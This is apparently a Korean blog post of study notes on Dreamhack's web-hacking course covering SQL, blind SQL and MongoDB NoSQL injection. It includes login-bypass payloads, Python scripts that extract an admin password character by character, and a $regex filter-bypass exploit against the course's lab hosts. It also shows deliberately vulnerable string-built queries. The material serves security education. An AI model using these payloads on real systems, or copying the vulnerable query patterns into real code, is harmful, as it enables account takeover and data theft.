STAGE 6 : SQL Injection
SQL Injection
> Background : Relational DBMS
데이터베이스 관리 시스템 (DBMS ; DataBase Management System)
: 새로운 정보를 기록하거나, 기록된 내용을 수정,삭제하는 역할을 한다.
- 다수의 사람이 동시에 DBMS에 접근할 수 있고, 웹 서비스의 검색 기능과 같이 데이터를 조회할 수 있다.
종류 | 대표적인 DBMS |
Relational(관계형) | MySQL, MariaDB, PostgreSQL |
Non-Relational(비관계형) | MongoDB, CouchDB, Redis |
- 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장한다.
- 비관계형은 키-값 형태로값을 저정한다.
Relational DBMS (RDBMS)
: 새로운 정보를 기록하거나, 기록된 내용을 수정,삭제하는 역할을 한다.
- 행(Row)과 열(Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고, 테이블 형식의 데이터를 조작할 수 있는 관계연산자를 제공한다.
- 관계 연산자는 SQL 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작한다.
SQL
: RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어
- 구조화된 형태를 가지는 언어로 웹 어플리케이션이 DBMS와 상호작용할 때 사용된다.
- 기본적 구조 : 데이터베이스 -> 테이블 -> 데이터 구조
- 사용 목적과 행위에 따라 다양한 구조가 존재한다.
언어 | 설명 |
DDL (Data Definition Language) | - 데이터를 정의하기 위한 언어 - 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행 |
DML (Data Manipulation Language) | - 데이터를 조작하기 위한 언어 - 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행 |
DDL
- 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, DDL을 사용해야 한다.
- DDL의 CREATE 명령을 사용해 새로운 데이터베이스 또는 테이블을 생성할 수 있다.
- 데이터베이스 생성
CREATE DATABASE Dreamhack;
- 테이블 생성
USE Dreamhack;
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
DML
- 생성된 테이블에 데이터를 추가하기 위해 DML을 사용한다.
- 새로운 데이터를 생성하는 INSERT, 데이터를 조회하는 SELECT, 데이터를 수정하는 UPDATE 등이 존재한다.
- 테이블 데이터 생성
INSERT INTO Board(boardTitle, boardContent, createdDate) Values('Hello', 'World!', Now());
- 테이블 데이터 조회
SELECT boardTitle, boardContent FROM Board Where idx=1;
- 테이블 데이터 변경
UPDATE Board SET boardContent='DreamHack!' Where idx=1;
> ServerSide : SQL Injection
SQL Injection
: DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법
- 이용자의 입력값이 애플리케이션의 처리과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점
- 로그인할 때 애플리케이션이 DBMS에 질의하는 예시 쿼리
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고,
user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고,
비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있다. 이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
- SQL Injection으로 조작한 쿼리문의 예시
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
user_pw 조건문이 사라진 것을 확인할 수 있다. 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다.
Blind SQL Injection
: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
> ascii
: 전달된 문자를 아스키 형태로 반환하는 함수
- ex) ascii('a') -> 97 반환
> substr
: 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수
- 사용법 : substr(string, position, length)
- ex1) substr('ABCD', 1, 1) = 'A'
- ex2) substr('ABCD', 2, 2) = 'BC'
- Blind SQL Injection 공격 쿼리
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
upw의 첫번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다.
질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있다.
만약 로그인이 실패할 경우 첫번째 문자가 'r'이 아님을 의미한다.
Blind SQL Injection 공격 스크립트
: 공격을 자동화하기 위한 스크립트
- requests 모듈 : 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있는 모듈
- requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있다.
- requests 모듈 POST 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있다.
- Blind SQL Injection 공격 스크립트
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성하고, 한바이트씩 모든 문자를 비교하는 반복문을 작성한다.
반복문 실행 중 반환 결과가 참일 경우에 페이지에 표시되는 'Login success' 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장한다.
반복문을 마치면 'admin' 계정의 비밀번호를 알아낼 수 있다.
[함께실습] SQL Injection
> Exercise : SQL Injection
데이터베이스 구조
- 데이터베이스 구성 코드
DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정
if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우,
db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성
# users 테이블에 관리자와 guest 계정 생성
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit() # 쿼리 실행 확정
db.close() # DB 연결 종료
- userid와 userpassword 칼럼은 각각 이용자의 ID와 PW를 저장한다.
- guest 계정은 이용자가 알 수 있지만 admin 계정은 랜덤하게 생성된 16바이트의 문자열이기 때문에 비밀번호를 예상할 수 없다.
- guest / guest로 로그인
> GET
- userid와 userpassword를 입력할 수 있는 로그인 페이지를 제공한다. userid와 password입력창에 guest를 입력하면 로그인을 수행할 수 있다.
> POST
- 이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인한다. 이때, 로그인 계정이 admin일 경우 FLAG를 출력한다.
- 로그인 페이지 코드
@app.route('/login', methods=['GET', 'POST']) # Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
def login(): # login 함수 선언
if request.method == 'GET': # 이용자가 GET 메소드의 요청을 전달한 경우,
return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
else: # POST 요청을 전달한 경우
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res: # 쿼리 결과가 존재하는 경우
userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' # flag를 출력
# 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
return '<script>alert("wrong");history.go(-1);</script>'
취약점 분석
- login과 query_db 함수
def login(): # login 함수 선언
...
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
...
def query_db(query, one=True): # query_db 함수 선언
cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() # 쿼리문 내용을 받아오기
cur.close() # 데이터베이스 연결 종료
return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 하는데, 이를 생성할 때 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해 SQL Injection 공격을 수행할 수 있다.
익스플로잇
- 로그인 쿼리
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
- SQL Injection 공격 쿼리문 작성
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
관리자 계정 admin으로 로그인하도록 admin"-- 을 입력해주고, password는 아무 입력이나 넣어주었다.
> Exercise : Blind SQL Injection
익스플로잇
- 비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94(0x20 ~ 0x7E)개이다. 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제로 전송해야 할 최대 쿼리의 개수는 940 = 94 X 10로 줄어든다. 이분 탐색 알고리즘을 적용하면 log(2)94 X 10 = 65로 더욱 축소된다. 그래도 직접 시도하기엔 많기 때문에 자동화 스크립트를 작성하는 것이 중요하다.
- 로그인 요청의 폼 구조 파악
쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야 한다.
1. 개발자 도구 > 네트워크 탭 > Preserve log
2. userid에 guest, password에 guest를 입력하고 로그인 클릭
3. 메세지 목록에서 /login으로 전송된 POST 요청 찾기
4. 하단의 Form Data 확인
- 비밀번호 길이 파악
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
- 비밀번호 획득
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len+1):
query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
NoSQL Injection
> Background : Non-Relational DBMS
비관계형 데이터베이스 (NoSQL)
NoSQL
: SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 최적화된 저장 공간인 것이 큰 특징
MongoDB
: JSON 형태인 document를 저장하는 DB
1. 스키마를 따로 정의하지 않아 각 Collection에 대한 정의가 필요하지 않는다.
2. JSON 형식으로 쿼리를 작성할 수 있다.
3. _id 필드가 Primary Key 역할을 한다.
- status가 "A", qty가 30미만인 데이터 조회하는 쿼리
- MongoDB 사용예시
- MongoDB 연산자
> Comparision
> Logical
> Element
> Evaluation
- 기본 문법
> SELECT
> INSERT
> DELETE
> UPDATE
Redis
- 키-값(Key-Value)의 쌍을 가진 데이터를 저장
- 메모리 기반의 DBMS; 메모리를 사용해 데이터를 저장하고 접근하기 때문에 읽고 쓰는 작업이 상대적으로 빠르다.
- 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용
- redis 명령어 사용 예시
Redis에서 데이터를 추가하고 조회하는 명령어의 예시이다.
- 데이터 조회 및 조작 명령어
- 관리 명령어
CouchDB
- JSON 형태인 document를 저장
- 웹 기반의 DBMS로 REST API 형식으로 요청을 처리
메소드 | 기능 설명 |
POST | 새로운 레코드를 추가한다. |
GET | 레코드를 조회한다. |
PUT | 레코드를 업데이트한다. |
DELETE | 레코드를 삭제한다. |
- 특수 구성 요소
> SERVER
> Database
> ServerSide : NoSQL Injection
NoSQL Injection
: 주로 이용자의 입력값에 대한 타임 검증이 불충분할 때 발생한다.
- 오브젝트, 배열 타입 사용 가능
- 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.
- express 데이터 처리 방식
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
NodeJS의 Express 프레임워크로 개발된 예제 코드이다.
이용자의 입력값과 타입을 출력하는데 req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다.
- 실행 결과
- MongoDB NoSQL Injection Example
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
⋅ user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고, 출력하는 예제 코드이다.
⋅ 이용자의 입력값에 대해 타임을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.
⋅ 오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있다.
⋅ $ne 연산자는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다.
⋅ 따라서 공격자는 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있다.
⋅ $ne 연산자를 사용해 uid와 upw가 'a'가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과이다.
Blind NoSQL Injection
- MongDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.
- 연산자
- $regex
: 정규식을 사용해 식과 일치하는 데이터를 조회한다.
⋅ regex 연산자를 활용한 Blind NoSQL Injection
⋅ upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시
- $where
: 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. 아래 예시를 살펴보면, 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있다.
⋅ substring
: 해당 연산자로 Javascript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있다. 아래 예시는 upw의 첫 글자를 비교해 데이터를 알아내는 쿼리이다.
⋅ Sleep 함수를 통한 Time based Injection
: MongoDB는 sleep 함수를 제공한다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다. 아래 예시는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리이다.
⋅ Error based Injection
: Error based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다. 아래의 예시를 살펴보면, upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.
[함께실습] NoSQL Injection
- login 페이지
app.get('/login', function(req, res) {
if(filter(req.query)){ // filter 함수 실행
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({ // db에서 uid, upw로 검색
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
⋅ 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.
- filter 함수
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
⋅ 일부 문자열을 필터링하는 함수이다. GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter함수로 필터링한다. 해당 함수는 admin, dh, admi라는 문자열이 있을 때 true를 반환한다.
> 취약점 분석
- Query & Type
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
⋅ 이용자가 전달한 쿼리의 값과 타입을 반환하는 코드이다. 아래 사진과 같이 string외에 다양한 형태의 object도 쿼리로 전달될 수 있다.
- login 페이지
const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
db.collection('user').findOne({ // db에서 uid, upw로 검색
'uid': uid,
'upw': upw,
}
⋅ MongoDB에 쿼리를 전달하는 부분을 살펴보면, 쿼리 변수의 타입을 검사히지 않는다. 이로 인해 NoSQL Injection 공격이 발생할 수 있다.
> 익스플로잇
로그인 페이지에서 로그인을 성공했을 때, 이용자의 uid만 출력한다. 따라서 Blind NoSQL Injection을 통해 admin의 upw를 획득해야 한다.
1. Blind NoSQL Injection Payload
MongoDB의 $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있다. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.
http://host3.dreamhack.games:8985/login?uid=guest&upw[$regex]=.*
2. filter 우회
filter 함수가 특정 문자열을 필터링하고 있지만, 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있다.
http://host3.dreamhack.games:8985/login?uid[$regex]=ad.in&upw[$regex]=D.{*
3. Exploit Code 작성
정규표현식을 통해 한 글자씩 알아내야 하므로, 여러번 쿼리를 전달해야 한다. 따라서 익스플로잇 스크립트를 작성해야 한다.
import requests, string
HOST = 'http://host3.dreamhack.games:8985'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] Web Hacking STAGE 8 (0) | 2022.08.18 |
---|---|
[Dreamhack] Web Hacking STAGE 7 (0) | 2022.08.09 |
[Dreamhack] Web Hacking STAGE 5 (0) | 2022.07.25 |
[Dreamhack] Web Hacking STAGE 4 (0) | 2022.07.19 |
[Dreamhack] Web Hacking STAGE 3 (0) | 2022.07.13 |